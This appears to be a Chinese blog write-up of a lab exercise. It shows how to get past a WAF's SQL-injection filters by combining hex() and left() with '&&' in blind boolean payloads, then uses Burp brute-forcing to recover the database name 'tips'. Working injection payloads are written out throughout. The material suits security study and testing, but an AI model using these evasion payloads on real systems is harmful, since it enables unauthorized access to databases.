hex编码绕waf(思路)

mysql分割函数有:substr、substring、left

 

当union、空格、and、or、注释、substr被过滤的时候如下

hex编码绕waf(思路)

 

 可尝试用编码进行绕过,如URLEncode编码,ASCII,HEX,unicode编码绕过,上面代码没有过滤left,可以用left加上hex进行绕过

这里通过测试语句判断出是数字型注入

hex编码绕waf(思路)

 

 

错误则不显示,用盲注试一下,

hex编码绕waf(思路)

 

 

判断数据库长度语句:

/?id=1'%20 and (length(database()))=8--+

修改后:

?id=1%26%26hex(length(database()))>5

通过二分法得出数据库长度为:4

hex编码绕waf(思路)

 

 hex编码绕waf(思路)

 

 

接下来判断数据库名:可通过burp抓包爆破,payload为:

?id=1%26%26hex(left(database(),1))=1    //(left(database(),1)   1表示数据库名第一位

hex编码绕waf(思路)

 

第一个变量:数据库长度

第二个变量:hex编码 

hex编码绕waf(思路)

 

payload options [Brute forcer] 最小长度为1,最大长度为8.

当然,最快的方法是爆出一位,填payload里再继续爆破下一位。

hex编码绕waf(思路)

 

 payload options [Brute forcer] 填8,是因为ascii编码转过来是2位,见下图

hex编码绕waf(思路)

 这种爆破方式较慢,没爆破完,结果如下:

payload为:

?id=1%26%26hex(left(database(),1))=74    //数据库第1位
?id=1%26%26hex(left(database(),2))=7469  //数据库第2位
?id=1%26%26hex(left(database(),3))=746970 // 数据库第3位  

hex编码绕waf(思路)

 

 最后结果为:

hex编码绕waf(思路)

 

 通过ascii与hex对照表得出数据库名:tips

 

上一篇:python-无法配置node.js以在OS X(Snow Leopard)上进行安装


下一篇:sqlmap从入门到精通-第七章-7-9 绕过WAF脚本-escapequotes.py